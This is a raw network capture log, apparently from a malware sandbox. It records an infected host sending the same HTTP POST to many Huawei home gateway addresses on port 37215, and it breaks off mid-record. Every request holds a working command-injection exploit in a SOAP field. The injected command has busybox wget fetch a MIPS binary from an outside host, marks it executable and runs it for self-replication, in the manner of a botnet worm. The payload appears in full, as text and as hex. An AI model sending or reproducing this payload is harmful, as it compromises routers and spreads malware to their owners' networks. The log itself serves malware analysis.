Jul 20, 2024 23:10:39.438615084 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.15	34812	197.167.93.130	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.438615084 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.15	37890	197.180.228.252	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.462415934 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.15	45002	197.105.219.240	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.462415934 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.15	41390	41.127.217.236	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.462415934 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.15	43856	41.109.172.235	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.469558954 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.15	45784	157.238.194.50	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.469558954 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.15	38056	157.113.132.47	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473094940 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.15	41832	41.130.29.61	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473094940 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.15	42690	197.74.96.150	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.15	49906	62.146.200.25	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.473747969 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 